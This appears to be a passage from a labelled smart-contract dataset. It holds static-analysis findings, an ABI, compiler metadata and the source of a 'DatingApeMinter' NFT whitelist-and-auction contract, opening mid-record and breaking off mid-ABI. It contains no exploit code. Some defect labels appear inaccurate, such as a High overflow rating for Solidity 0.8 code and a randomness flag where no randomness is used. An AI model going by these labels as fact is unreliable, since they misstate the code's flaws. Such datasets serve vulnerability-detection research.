"Optimization", "confidence": "High", "lines": {"GemToken.sol": [736, 737, 735]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [5]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"GemToken.sol": [676, 677, 678]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"GemToken.sol": [684, 685, 686]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [378]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [444]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"GemToken.sol": [1162]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [1098]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [1169]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [652]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [935]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [976, 974, 975]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [952]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [934]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [648]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [980, 981, 982]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [1169]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [1161]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1249]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1195]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1040]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1249]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1195]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GemToken.sol": [1047]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"GemToken.sol": [1005]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1095, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1135, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1136, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 79, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 842, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 863, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 746, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1161, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1169, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 42, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 554, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 650, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 654, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 655, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 656, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 984, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 475, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 645, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1061, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1083, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 347, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 956, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 962, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1040, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1064, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 479, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 483, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 501, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 506, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 511, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 374, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 374, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 374, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 375, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 375, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 375, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 375, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 378, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 378, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 378, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"priceCumulativeLast","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"blockTimestampLast","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"priceAverageLast","type":"uint256"}],"name":"TwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"BURN_PCT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INITIAL_TOKENS_PER_ETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN_BURN_PCT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockTimestampLast","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCurrentTwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLastTwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialDistributionAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isThisToken0","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDeltaTwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceAverageLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceCumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minDeltaTwap","type":"uint256"}],"name":"setMinDeltaTwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_whitelisted","type":"bool"}],"name":"setWhitelistedSender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistedSenders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]
v0.6.6+commit.6c089d02
false
200
Default
MIT
false
ipfs://5f1c6913aad18325a5c5b8c0a9e3fefca2057a86306a08aa2b0d918473b1234c
DatingApeMinter
0x0fa243e59eb2258cd11745402a343bdbbd0b20e3
Solidity
// File: contracts/DatingApeMinter.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; enum SaleStage { None, WhiteList, Auction } interface NFT { function mint(address to, uint256 quantity) external; } contract DatingApeMinter is Ownable, ReentrancyGuard { using Strings for uint256; using MerkleProof for bytes32[]; uint256 public whiteListSaleStartTime = 1644494400; // Feb 10th 2022. 8:00PM UTC+8 uint256 public whiteListSaleEndTime = whiteListSaleStartTime + 1 days; uint256 public whiteListSaleRemainingCount = 77; uint256 public whiteListSaleMintPrice = 0.2 ether; uint256 public whiteListSalePurchased; uint256 public auctionStartTime = 1644667200; // Feb 12 2022. 8:00PM UTC+8 uint256 public auctionEndTime = auctionStartTime + 1 days; // Feb 13 2022. 8:00PM UTC+8 uint256 public auctionTimeStep = 5 minutes; uint256 public totalAuctionTimeSteps = 5; uint256 public auctionStartPrice = 0.69 ether; uint256 public auctionEndPrice = 0.369 ether; uint256 public auctionPriceStep = 0.0642 ether; uint256 public auctionPurchased; uint256 public auctionMaxPurchasedQuantityPerTx = 3; uint256 public maxCountToBeDispensed = 234 + 77; address public datingApeTaiwanClub; bytes32 public whiteListMerkleRoot; mapping(address => bool) public whiteListPurchased; constructor(address _datingApeTaiwanClub) { datingApeTaiwanClub = _datingApeTaiwanClub; } /* ************** */ /* USER FUNCTIONS */ /* ************** */ function getAuctionPrice() public view returns (uint256) { require(auctionStartTime != 0, "auctionStartTime not set"); require(auctionEndTime != 0, "auctionEndTime not set"); if (block.timestamp < auctionStartTime) { return auctionStartPrice; } uint256 timeSteps = (block.timestamp - auctionStartTime) / auctionTimeStep; if (timeSteps > totalAuctionTimeSteps) { timeSteps = totalAuctionTimeSteps; } uint256 discount = timeSteps * auctionPriceStep; return auctionStartPrice > discount ? auctionStartPrice - discount : auctionEndPrice; } function auctionRemainingCount() public view returns (uint256) { require(block.timestamp > auctionStartTime, "auction has not started"); require(block.timestamp < auctionEndTime, "auction has ended"); uint256 totalSold = whiteListSalePurchased + auctionPurchased; return totalSold <= maxCountToBeDispensed ? maxCountToBeDispensed - totalSold : 0; } // @notice This function returns the current active sale stage // @notice 0: NONE, 1: Whitelist Sale, 2: Auction function getCurrentActiveSaleStage() public view returns (SaleStage) { bool whiteListSaleIsActive = (block.timestamp > whiteListSaleStartTime) && (block.timestamp < whiteListSaleEndTime); if (whiteListSaleIsActive) { return SaleStage.WhiteList; } bool auctionIsActive = (block.timestamp > auctionStartTime) && (block.timestamp < auctionEndTime); if (auctionIsActive) { return SaleStage.Auction; } return SaleStage.None; } function buyApe(bytes32[] calldata proof, uint256 numberOfTokens) external payable nonReentrant { SaleStage currentActiveSaleStage = getCurrentActiveSaleStage(); require( currentActiveSaleStage != SaleStage.None, "no active sale right now" ); require(numberOfTokens > 0, "numberOfTokens cannot be 0"); if (currentActiveSaleStage == SaleStage.WhiteList) { _buyApeWhiteList(proof, numberOfTokens); } else if (currentActiveSaleStage == SaleStage.Auction) { _buyApeAuction(numberOfTokens); } } /* ****************** */ /* INTERNAL FUNCTIONS */ /* ****************** */ function _buyApeWhiteList(bytes32[] calldata proof, uint256 numberOfTokens) internal { require(!whiteListPurchased[msg.sender], "whiteListPurchased already"); require( proof.verify( whiteListMerkleRoot, keccak256(abi.encodePacked(msg.sender, numberOfTokens)) ), "failed to verify first WL merkle root" ); require( whiteListSaleRemainingCount >= numberOfTokens, "first whitelist sold out" ); require( msg.value == whiteListSaleMintPrice * numberOfTokens, "sent ether value incorrect" ); whiteListPurchased[msg.sender] = true; whiteListSaleRemainingCount -= numberOfTokens; whiteListSalePurchased += numberOfTokens; NFT(datingApeTaiwanClub).mint(msg.sender, numberOfTokens); } function _buyApeAuction(uint256 numberOfTokens) internal { require( auctionRemainingCount() >= numberOfTokens, "not enogugh left for this purchase" ); require( numberOfTokens <= auctionMaxPurchasedQuantityPerTx, "numberOfTokens exceeds auctionMaxPurchasedQuantityPerTx" ); uint256 price = getAuctionPrice(); require( msg.value >= price * numberOfTokens, "sent ether value incorrect" ); auctionPurchased += numberOfTokens; NFT(datingApeTaiwanClub).mint(msg.sender, numberOfTokens); } /* *************** */ /* ADMIN FUNCTIONS */ /* *************** */ function setMerkleRoot(bytes32 _whiteListMerkleRoot) external onlyOwner { whiteListMerkleRoot = _whiteListMerkleRoot; } function setSaleData( uint256 _whiteListSaleStartTime, uint256 _whiteListSaleEndTime, uint256 _whiteListSaleRemainingCount, uint256 _whiteListSaleMintPrice, uint256 _auctionStartTime, uint256 _auctionEndTime, uint256 _auctionTimeStep, uint256 _totalAuctionTimeSteps, uint256 _auctionStartPrice, uint256 _auctionEndPrice, uint256 _auctionPriceStep ) external onlyOwner { whiteListSaleStartTime = _whiteListSaleStartTime; whiteListSaleEndTime = _whiteListSaleEndTime; whiteListSaleRemainingCount = _whiteListSaleRemainingCount; whiteListSaleMintPrice = _whiteListSaleMintPrice; auctionStartTime = _auctionStartTime; auctionEndTime = _auctionEndTime; auctionTimeStep = _auctionTimeStep; totalAuctionTimeSteps = _totalAuctionTimeSteps; auctionStartPrice = _auctionStartPrice; auctionEndPrice = _auctionEndPrice; auctionPriceStep = _auctionPriceStep; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
[{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["87", "62", "92"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["460", "282", "438"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["242", "268", "257"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["162", "142", "143", "77", "33", "27", "62", "67"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["59", "64", "89", "94", "106", "75", "76"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [17, 18, 19]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [21, 22, 23]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Context.sol": [4]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 477, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 265, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 331, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 331, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 171, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 175, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 214, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 295, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 352, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 420, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 492, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 231, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 382, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 383, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 385, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 426, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 122, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 509, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 48, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 238, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 387, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_datingApeTaiwanClub","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"auctionEndPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionEndTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionMaxPurchasedQuantityPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionPriceStep","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionPurchased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionRemainingCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionStartPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auctionTimeStep","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"},{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"buyApe","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"datingApeTaiwanClub","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAuctionPrice","outputs":[{"internalT